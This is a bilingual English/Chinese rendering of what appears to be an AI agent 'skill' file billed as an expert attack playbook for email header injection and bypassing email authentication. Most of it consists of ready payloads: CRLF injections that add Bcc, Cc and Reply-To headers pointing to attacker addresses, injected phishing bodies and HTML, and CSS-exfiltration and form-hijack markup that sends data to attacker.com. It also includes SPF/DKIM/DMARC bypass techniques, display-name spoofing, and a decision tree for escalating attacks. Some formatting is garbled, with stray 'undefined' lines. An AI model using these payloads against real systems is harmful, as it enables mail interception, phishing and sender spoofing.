email-header-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Email Header Injection — Expert Attack Playbook

SKILL: 邮件头注入 —— 专家攻击手册

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
AI加载说明:专业级邮件头注入和认证绕过技术,覆盖SMTP CRLF注入、SPF/DKIM/DMARC绕过、显示名称伪造、邮件客户端渲染滥用。基础模型无法区分头注入(技术层面)和邮件认证绕过(协议层面)的细微差别——本技能覆盖这两类攻击面。

0. RELATED ROUTING

0. 关联技能路由

  • crlf-injection — general CRLF injection; email headers are a specific high-value sink
  • ssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)
  • open-redirect — redirect in password-reset emails as phishing amplification

  • crlf-injection —— 通用CRLF注入;邮件头是一类特定的高价值汇入点
  • ssrf-server-side-request-forgery —— 当SMTP服务器可通过SSRF访问时适用(gopher://smtp)
  • open-redirect —— 密码重置邮件中的跳转可作为钓鱼流量放大手段

1. SMTP HEADER INJECTION FUNDAMENTALS

1. SMTP头注入基础

SMTP headers are separated by CRLF (
\r\n
). If user input is placed into email headers without sanitization, injecting
%0d%0a
(or
\r\n
) adds arbitrary headers.
SMTP头通过CRLF(
\r\n
)分隔。如果用户输入未经 sanitization 就被放入邮件头,注入
%0d%0a
(或
\r\n
)即可添加任意自定义头。

Injection anatomy

注入原理

Normal header construction:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n
Normal header construction:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n

Encoding variants to try

可尝试的编码变体

EncodingPayload
URL-encoded
%0d%0a
Double URL-encoded
%250d%250a
Unicode
\u000d\u000a
Raw CRLF
\r\n
(in raw request)
LF only
%0a
(some SMTP servers accept LF without CR)
Null byte + CRLF
%00%0d%0a

编码类型载荷
URL编码
%0d%0a
双重URL编码
%250d%250a
Unicode
\u000d\u000a
原始CRLF
\r\n
(原始请求中使用)
仅LF
%0a
(部分SMTP服务器接受不带CR的LF)
空字节+CRLF
%00%0d%0a

2. ATTACK SCENARIOS

2. 攻击场景

2.1 BCC Injection — Silent Email Exfiltration

2.1 BCC注入 —— 静默邮件外带

Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com

Effect: attacker receives a copy of every email sent through this form
Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

2.2 带头部堆叠的CC注入

Payload in "From name" field:
  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com

Result headers:
  From: John
  Cc: attacker@evil.com
  Bcc: spy@evil.com
  ... (original headers continue)
Payload in "From name" field:
  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com

Result headers:
  From: John
  Cc: attacker@evil.com
  Bcc: spy@evil.com
  ... (original headers continue)

2.3 Body Injection — Full Email Content Control

2.3 正文注入 —— 完全控制邮件内容

A blank line (
\r\n\r\n
) separates headers from body in SMTP:
Payload in Subject:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Result:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(Blank line terminates headers, everything after is body)
SMTP中用空行(
\r\n\r\n
)分隔头部和正文:
Payload in Subject:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Result:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(Blank line terminates headers, everything after is body)

2.4 Reply-To Manipulation for Phishing

2.4 用于钓鱼的Reply-To操控

Payload in From name:
  IT Support%0d%0aReply-To:attacker@evil.com

Victim sees "IT Support" as sender
Replies go to attacker@evil.com
Payload in From name:
  IT Support%0d%0aReply-To:attacker@evil.com

Victim sees "IT Support" as sender
Replies go to attacker@evil.com

2.5 Content-Type Injection for HTML Phishing

2.5 用于HTML钓鱼的Content-Type注入

Payload:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Overrides Content-Type → renders HTML in email client

Payload:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Overrides Content-Type → renders HTML in email client

3. COMMON VULNERABLE PATTERNS

3. 常见漏洞模式

PHP mail()

PHP mail()

php
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";

// ALL parameters are injectable:
mail($to, $subject, $message, $headers);

// $to injection:    victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.com
php
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";

// ALL parameters are injectable:
mail($to, $subject, $message, $headers);

// $to injection:    victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.com

Python smtplib

Python smtplib

python
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
python
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)

user_from / user_subject injectable if not sanitized

user_from / user_subject injectable if not sanitized

undefined
undefined

Node.js nodemailer

Node.js nodemailer

javascript
let mailOptions = {
    from: req.body.from,      // injectable
    to: 'admin@target.com',
    subject: req.body.subject, // injectable
    text: req.body.message
};
transporter.sendMail(mailOptions);

javascript
let mailOptions = {
    from: req.body.from,      // injectable
    to: 'admin@target.com',
    subject: req.body.subject, // injectable
    text: req.body.message
};
transporter.sendMail(mailOptions);

4. SPF / DKIM / DMARC BYPASS TECHNIQUES

4. SPF / DKIM / DMARC 绕过技术

4.1 SPF (Sender Policy Framework) Bypass

4.1 SPF (Sender Policy Framework) 绕过

SPF validates the
MAIL FROM
envelope sender IP against DNS TXT records.
TechniqueHow
Subdomain delegationTarget has
include:_spf.google.com
; attacker uses Google Workspace to send as
anything@mail.target.com
Include chain abuse
v=spf1 include:third-party.com
— if third-party allows broad sending
DNS lookup limit (10)SPF allows max 10 DNS lookups; chains exceeding this →
permerror
→ some receivers accept
+all
misconfiguration
v=spf1 +all
allows any IP (rare but exists)
?all
or
~all
Softfail/neutral → most receivers still deliver to inbox
No SPF recordDomain without SPF → anyone can send as that domain
bash
undefined
SPF会验证
MAIL FROM
信封发件人IP是否匹配DNS TXT记录。
绕过手法实现方式
子域名授权目标配置了
include:_spf.google.com
;攻击者使用Google Workspace以
anything@mail.target.com
身份发信
包含链滥用
v=spf1 include:third-party.com
—— 如果第三方服务允许大范围发信
DNS查询上限(10次)SPF最多允许10次DNS查询;超过上限的查询链会返回
permerror
—— 部分收件方会接受这类邮件
+all
配置错误
v=spf1 +all
允许任意IP发信(少见但确实存在)
?all
~all
软失败/中性状态 —— 多数收件方仍会将邮件投递到收件箱
无SPF记录域名没有配置SPF —— 任何人都可以仿冒该域名发信
bash
undefined

Check SPF record:

Check SPF record:

dig TXT target.com +short
dig TXT target.com +short

Look for: v=spf1 ...

Look for: v=spf1 ...

Count DNS lookups (each include/a/mx/redirect = 1 lookup):

Count DNS lookups (each include/a/mx/redirect = 1 lookup):

>10 lookups = permerror = bypassed

>10 lookups = permerror = bypassed

undefined
undefined

4.2 DKIM (DomainKeys Identified Mail) Bypass

4.2 DKIM (DomainKeys Identified Mail) 绕过

DKIM signs specific headers with a domain key. Bypass vectors:
TechniqueHow
d=
vs
From:
mismatch
DKIM signs with
d=subdomain.target.com
but
From: ceo@target.com
— valid DKIM, spoofed From
l=
tag abuse
l=
limits body length signed; attacker appends content after signed portion
Replay attackCapture valid DKIM-signed email, resend with modified unsigned headers
Missing
h=from
If
from
header not in signed headers list (
h=
), From can be modified
Key rotation windowDuring DKIM key rotation, old selector may still validate
bash
undefined
DKIM使用域名密钥对指定头部进行签名。绕过向量:
绕过手法实现方式
d=
From:
不匹配
DKIM使用
d=subdomain.target.com
签名,但
From: ceo@target.com
—— DKIM验证有效,发件人是伪造的
l=
标签滥用
l=
限制了签名的正文长度;攻击者可以在签名部分后追加自定义内容
重放攻击捕获有效DKIM签名的邮件,修改未签名的头部后重新发送
缺少
h=from
配置
如果
from
头不在签名头部列表(
h=
)中,发件人地址可被修改
密钥轮换窗口DKIM密钥轮换期间,旧选择器可能仍能通过验证
bash
undefined

Check DKIM selector:

Check DKIM selector:

dig TXT selector._domainkey.target.com +short
dig TXT selector._domainkey.target.com +short

Common selectors: google, default, s1, s2, k1, dkim

Common selectors: google, default, s1, s2, k1, dkim

undefined
undefined

4.3 DMARC (Domain-based Message Authentication) Bypass

4.3 DMARC (Domain-based Message Authentication) 绕过

DMARC requires SPF or DKIM to align with the
From:
header domain.
TechniqueHow
Relaxed alignment (
aspf=r
)
SPF passes for
sub.target.com
, DMARC accepts for
target.com
Organizational domain
mail.target.com
aligns with
target.com
in relaxed mode
No DMARC recordDomain without DMARC → no policy enforcement
p=none
DMARC exists but policy is
none
→ no enforcement, just reporting
Subdomain policy (
sp=none
)
Main domain
p=reject
but
sp=none
→ subdomains spoofable
bash
undefined
DMARC要求SPF或DKIM与
From:
头域名对齐
绕过手法实现方式
宽松对齐(
aspf=r
SPF对
sub.target.com
验证通过,DMARC会接受
target.com
的发信
组织域名匹配宽松模式下
mail.target.com
target.com
视为对齐
无DMARC记录域名没有配置DMARC —— 无策略 enforcement
p=none
存在DMARC但策略为
none
—— 无 enforcement,仅做日志上报
子域名策略(
sp=none
主域配置
p=reject
sp=none
—— 子域名可被伪造
bash
undefined

Check DMARC:

Check DMARC:

dig TXT _dmarc.target.com +short
dig TXT _dmarc.target.com +short

Look for: v=DMARC1; p=none/quarantine/reject

Look for: v=DMARC1; p=none/quarantine/reject

undefined
undefined

4.4 Display Name Spoofing (Works Everywhere)

4.4 显示名称伪造(全场景适用)

Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>
Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.

即使SPF/DKIM/DMARC配置完全正确,显示名称也不会被认证:
From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>
多数邮件客户端在收件箱视图仅显示显示名称,移动端客户端尤其容易受这类攻击影响。

5. MAIL CLIENT RENDERING ATTACKS

5. 邮件客户端渲染攻击

CSS-based data exfiltration

基于CSS的数据外带

html
<!-- In HTML email body -->
<style>
  #secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
  #secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">
html
<!-- In HTML email body -->
<style>
  #secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
  #secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">

Remote image tracking

远程图片追踪

html
<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->
html
<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->

Form action hijacking

表单行为劫持

html
<!-- Some email clients render forms -->
<form action="https://attacker.com/phish" method="POST">
  <input name="password" type="password" placeholder="Confirm your password">
  <button type="submit">Verify</button>
</form>

html
<!-- Some email clients render forms -->
<form action="https://attacker.com/phish" method="POST">
  <input name="password" type="password" placeholder="Confirm your password">
  <button type="submit">Verify</button>
</form>

6. CONTACT FORM / EMAIL API INJECTION

6. 联系表单/邮件API注入

text
undefined
text
undefined

REST API

REST API

POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}

URL-encoded form

URL-encoded form

name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test

GraphQL

GraphQL

mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }

---
mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }

---

7. TESTING METHODOLOGY

7. 测试方法论

1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)

1. 找到邮件相关功能:联系表单、密码重置、邀请/分享、新闻通讯
2. 测试CRLF注入:在每个字段注入test%0d%0aX-Injected:true → 检查收到的邮件头部
3. 升级攻击:Bcc注入 → 正文注入 → Content-Type覆盖
4. 并行检查:dig TXT target.com(SPF) + dig TXT _dmarc.target.com(DMARC)

8. DECISION TREE

8. 决策树

Found email-sending feature?
├── User input goes into email headers?
│   ├── YES → Test CRLF injection
│   │   ├── %0d%0a in Subject/From/To field
│   │   │   ├── Extra header appears → CONFIRMED
│   │   │   │   ├── Inject Bcc: → silent exfiltration
│   │   │   │   ├── Inject body (blank line) → content control
│   │   │   │   └── Inject Reply-To: → redirect replies
│   │   │   │
│   │   │   └── Filtered? → Try encoding variants
│   │   │       ├── %250d%250a (double encode)
│   │   │       ├── %0a only (LF without CR)
│   │   │       └── Unicode \u000d\u000a
│   │   │
│   │   └── All encodings blocked → check SPF/DKIM/DMARC
│   │
│   └── NO (user input only in body) → limited impact
│       └── Check for HTML injection in email body
│           └── If HTML rendered → phishing / CSS exfil
├── Want to spoof emails from target domain?
│   ├── Check SPF: dig TXT target.com
│   │   ├── No SPF / +all / ~all → direct spoofing possible
│   │   └── -all → SPF blocks; check DKIM/DMARC
│   │
│   ├── Check DMARC: dig TXT _dmarc.target.com
│   │   ├── No DMARC / p=none → spoofing delivered
│   │   ├── p=quarantine → lands in spam but delivered
│   │   └── p=reject → blocked; try subdomain (sp= policy)
│   │
│   └── All strict → Display name spoofing only
│       └── "admin@target.com" <attacker@evil.com>
└── Testing password reset email?
    ├── Check for token in URL → open redirect chain?
    │   └── See ../open-redirect/SKILL.md
    └── Check for host header injection → password reset poisoning
        └── See ../http-host-header-attacks/SKILL.md

Found email-sending feature?
├── User input goes into email headers?
│   ├── YES → Test CRLF injection
│   │   ├── %0d%0a in Subject/From/To field
│   │   │   ├── Extra header appears → CONFIRMED
│   │   │   │   ├── Inject Bcc: → silent exfiltration
│   │   │   │   ├── Inject body (blank line) → content control
│   │   │   │   └── Inject Reply-To: → redirect replies
│   │   │   │
│   │   │   └── Filtered? → Try encoding variants
│   │   │       ├── %250d%250a (double encode)
│   │   │       ├── %0a only (LF without CR)
│   │   │       └── Unicode \u000d\u000a
│   │   │
│   │   └── All encodings blocked → check SPF/DKIM/DMARC
│   │
│   └── NO (user input only in body) → limited impact
│       └── Check for HTML injection in email body
│           └── If HTML rendered → phishing / CSS exfil
├── Want to spoof emails from target domain?
│   ├── Check SPF: dig TXT target.com
│   │   ├── No SPF / +all / ~all → direct spoofing possible
│   │   └── -all → SPF blocks; check DKIM/DMARC
│   │
│   ├── Check DMARC: dig TXT _dmarc.target.com
│   │   ├── No DMARC / p=none → spoofing delivered
│   │   ├── p=quarantine → lands in spam but delivered
│   │   └── p=reject → blocked; try subdomain (sp= policy)
│   │
│   └── All strict → Display name spoofing only
│       └── "admin@target.com" <attacker@evil.com>
└── Testing password reset email?
    ├── Check for token in URL → open redirect chain?
    │   └── See ../open-redirect/SKILL.md
    └── Check for host header injection → password reset poisoning
        └── See ../http-host-header-attacks/SKILL.md

9. QUICK REFERENCE — KEY PAYLOADS

9. 快速参考 —— 核心载荷

text
undefined
text
undefined

BCC injection via Subject

BCC injection via Subject

Subject: Hello%0d%0aBcc:attacker@evil.com
Subject: Hello%0d%0aBcc:attacker@evil.com

Body injection via From name

Body injection via From name

From: Test%0d%0a%0d%0aClick here: https://evil.com
From: Test%0d%0a%0d%0aClick here: https://evil.com

Reply-To hijack

Reply-To hijack

From: Support%0d%0aReply-To:attacker@evil.com
From: Support%0d%0aReply-To:attacker@evil.com

Full header stack injection

Full header stack injection

email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com

Display name spoof (no injection needed)

Display name spoof (no injection needed)

From: "security@target.com" attacker@evil.com
undefined
From: "security@target.com" attacker@evil.com
undefined